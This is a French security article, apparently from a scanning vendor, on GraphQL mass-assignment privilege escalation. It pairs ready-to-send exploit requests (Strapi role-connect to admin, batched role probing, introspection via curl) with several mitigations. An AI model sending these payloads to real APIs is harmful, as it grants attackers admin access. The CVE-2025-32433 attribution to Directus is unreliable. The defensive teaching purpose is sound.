Mass assignment GraphQL (CWE-915) : types d'entrée sans whitelist acceptant des champs inattendus mappés sur des résolveurs protégés ou des attributs de modèle privilégiés.
TL;DR
InputObject avec role, isAdmin, subscriptionTier sont des ciblesLe mass assignment GraphQL survient au niveau de la mutation : quand le type InputObject d'une mutation inclut des champs privilégiés (role, isAdmin, subscriptionTier, permissions) qui mappent directement sur des attributs de modèle protégés, tout appelant pouvant invoquer la mutation peut définir ces champs. Le système de types GraphQL n'est pas une limite de sécurité — il documente ce que les champs existent, mais n'applique pas d'autorisation sur lesquels un appelant donné peut écrire.
Le problème est le plus grave dans les plateformes qui auto-génèrent des schémas GraphQL depuis des modèles de base de données : Strapi, Directus, Hasura, PostgREST et NocoDB génèrent un type UserUpdateInput avec chaque colonne de la table users, y compris role, is_admin et confirmed.
{
__schema {
types {
name
kind
inputFields {
name
type {
name
kind
}
}
}
}
}POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer <token_utilisateur>
{
"query": "mutation UpdateMe($data: UsersPermissionsUserInput!) { updateMe(data: $data) { data { id attributes { email role } } } }",
"variables": {
"data": {
"email": "attaquant@example.com",
"role": "authenticated",
"confirmed": true,
"blocked": false
}
}
}POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer <token_utilisateur>
{
"query": "mutation { updateUsersPermissionsUser(id: \"42\", data: { role: { connect: [{ id: 1 }] }, confirmed: true }) { data { id attributes { role { data { attributes { name } } } } } } }"
}Dans Strapi v4, role est un champ de relation dans UsersPermissionsUserInput. Envoyer role: { connect: [{ id: 1 }] } connecte l'utilisateur au rôle admin (ID 1). CVE-2024-52034 exploite exactement ce pattern.
POST /graphql HTTP/1.1
Content-Type: application/json
[
{"query": "mutation { updateMe(data: {role: \"editor\"}) { data { id } } }"},
{"query": "mutation { updateMe(data: {role: \"admin\"}) { data { id } } }"},
{"query": "mutation { updateMe(data: {role: \"superadmin\"}) { data { id } } }"}
]Les requêtes batch GraphQL permettent de tester plusieurs valeurs de rôle en une seule requête HTTP. Les limites de débit par requête HTTP ne s'appliquent pas par mutation.
CVE-2024-52034 — Strapi CMS (CVSS 8.1, 2024)
Le plugin GraphQL de Strapi auto-générait UsersPermissionsUserInput depuis le type de contenu user, incluant role, confirmed et blocked comme champs écribles. Les utilisateurs authentifiés pouvaient appeler updateUsersPermissionsUser avec role: {connect: [{id: 1}]} pour se connecter au rôle administrateur. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
CVE-2025-32433 — Directus CMS (CVSS 8.8, 2025)
Directus auto-générait des mutations GraphQL depuis la collection système directus_users. La mutation update_users_item acceptait role comme UUID écrivable. Tout utilisateur authentifié pouvait appeler update_users_item(id: "me", data: {role: "<uuid-role-admin>"}) pour s'escalader en administrateur.
HackerOne #1547877 — Shopify Partner API (3 500 $, 2022)
La mutation GraphQL updateShopPlan de l'API Partner Shopify acceptait planName depuis les variables de mutation sans vérification d'autorisation confirmant que l'appelant avait des privilèges de facturation. Un utilisateur de niveau partner pouvait définir le plan d'une boutique sur n'importe quel tier.
L'introspection GraphQL est désactivée par défaut dans de nombreux déploiements en production (Apollo Server, GraphQL Yoga la désactivent en NODE_ENV=production). Cependant, les informations de schéma fuient fréquemment via les messages d'erreur (Cannot query field "role" on type "User" — did you mean...?), via l'analyse des bundles JavaScript, ou via l'IDE Altair/GraphiQL laissé activé accidentellement. Désactivez l'introspection en production ET supprimez l'endpoint de l'IDE GraphQL.
curl -s "https://cible.com/graphql" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"query": "{__schema{types{name kind inputFields{name type{name kind ofType{name}}}}}}"}' | \
jq '.data.__schema.types[] | select(.kind=="INPUT_OBJECT") | {name, fields: [.inputFields[].name]}'npx @graphql-inspector/cli introspect https://cible.com/graphql \
--header "Authorization: Bearer <token>" \
--write schema.graphql
# Ouvrir GraphQL Voyager à https://ivangoncharov.github.io/graphql-voyager/
# Télécharger schema.graphql et inspecter visuellement les champs InputObjectBreachVex détecte le mass assignment GraphQL via l'énumération automatique des types InputObject par introspection, suivie de sondes de mutation ciblées sur les champs privilégiés identifiés, avec confirmation de requête inter-session.
const resolvers = {
Mutation: {
updateUser: async (_, { id, data }, context) => {
// Dépouiller les champs privilégiés de l'input quels que soient ceux du schéma
const { role, isAdmin, confirmed, blocked, ...safeData } = data;
// Seuls les admins peuvent définir le rôle
if (data.role && !context.user.isAdmin) {
throw new ForbiddenError('Impossible de mettre à jour le rôle');
}
return User.update(id, safeData);
}
}
};Dans l'admin Strapi : Paramètres > Rôles et Permissions > sélectionner le rôle > développer le type de contenu User > décocher les permissions update pour les champs role, confirmed, blocked.
Politique programmatique :
module.exports = async (policyContext, config, { strapi }) => {
const { data } = policyContext.request.body;
const PROTECTED_FIELDS = ['role', 'confirmed', 'blocked', 'provider'];
for (const field of PROTECTED_FIELDS) {
if (field in (data ?? {})) {
return false;
}
}
return true;
};- table:
name: users
schema: public
update_permissions:
- role: user
permission:
columns:
- email
- first_name
- last_name
- bio
# role, is_admin, subscription_tier PAS dans les colonnes
filter:
id:
_eq: X-Hasura-User-Idclass Mutations::UpdateUser < Mutations::BaseMutation
argument :email, String, required: false
argument :first_name, String, required: false
# role, admin — PAS déclarés comme arguments
# GraphQL-Ruby rejettera les arguments non déclarés au moment de la validation du schéma
def resolve(email: nil, first_name: nil)
current_user.update!(email: email, first_name: first_name)
{ user: current_user }
end
endLe mass assignment GraphQL survient au niveau de la mutation : quand le type InputObject d'une mutation inclut des champs privilégiés (role, isAdmin, subscriptionTier) qui mappent directement sur des attributs de modèle protégés, tout appelant pouvant invoquer la mutation peut définir ces champs. Le système de types GraphQL n'est pas une limite de sécurité — il documente les champs mais n'applique pas l'autorisation.
Exécuter une requête d'introspection complète pour énumérer tous les types InputObject. Chercher les types UserUpdateInput, AccountUpdateInput, ProfileUpdateInput et lister tous leurs champs. Utiliser GraphQL Voyager (explorateur de schéma visuel), IntrospectionQuery de GraphQL IDE, ou l'extension Burp Suite GraphQL Raider. Les champs comme role, isAdmin, subscriptionTier dans les types InputObject sont des cibles d'attaque.
CVE-2024-52034 (Strapi CMS, CVSS 8.1) — le plugin GraphQL de Strapi générait des mutations depuis le type de contenu User avec les champs role et confirmed dans le type UserInput. CVE-2025-32433 (Directus, CVSS 8.8) — Directus auto-générait des mutations GraphQL exposant les champs role et status. HackerOne #1547877 (Shopify, 3 500 $) — mutation updateShopPlan acceptait planName sans vérification d'autorisation.
Les plateformes headless CMS (Strapi, Directus, Hasura, Contentful) auto-génèrent des schémas GraphQL depuis les modèles de contenu. Chaque champ du modèle de contenu devient un champ InputObject par défaut, y compris les champs de privilège comme role, confirmed, status, publishedAt. Sans exclusion explicite de champs dans l'admin CMS, les mutations générées sont du mass assignment par conception.
GraphQL permet d'envoyer plusieurs mutations dans une seule requête (batching). Un attaquant peut envoyer 100 mutations en une seule requête HTTP pour tester plusieurs charges utiles d'escalade de privilèges simultanément. Certains serveurs traitent chaque mutation dans la même transaction, amplifiant l'impact. Atténuation : limiter le débit par mutation, pas par requête HTTP.
Dans l'admin Strapi : Paramètres > Rôles et Permissions > sélectionner le rôle > décocher les champs spécifiques de la mutation de mise à jour. Par programme, étendre les résolveurs GraphQL pour filtrer l'input via une politique personnalisée. Dans Strapi v5+, utiliser l'option transform dans la configuration des routes pour dépouiller les champs privilégiés.
GraphQL Voyager est un outil visuel qui rend un schéma GraphQL comme un graphe interactif. Avec un résultat d'introspection, il affiche tous les types, leurs champs et les relations entre eux. Particulièrement utile pour trouver les types InputObject qui incluent des champs privilégiés — visuellement évident quand le graphe montre role connecté à UserUpdateInput.
Envoyer : {__schema{types{name kind fields{name type{name kind ofType{name kind}}} inputFields{name type{name kind ofType{name kind}}}}}}. Filtrer les résultats pour les types avec kind=INPUT_OBJECT. Tout InputObject avec des champs comme role, isAdmin, permissions, subscriptionTier est un candidat au mass assignment.
Dans Strapi v4, role est un champ de relation dans UsersPermissionsUserInput. Envoyer role: { connect: [{ id: 1 }] } connecte l'utilisateur au rôle ID 1 (typiquement le rôle admin). CVE-2024-52034 exploite exactement ce pattern — l'attaquant utilise la sémantique de connexion de relation Strapi pour s'attribuer le rôle admin.
Utilisez l'extension GraphQL Raider pour intercepter les mutations. En mode Param-Miner sur les requêtes GraphQL, l'extension fuzz les champs de l'objet variables pour découvrir les champs non documentés acceptés par le résolveur. Alternativement, modifiez manuellement l'objet variables en Repeater : ajoutez role, isAdmin, permissions et comparez la réponse avec un GET inter-session pour confirmer la persistance.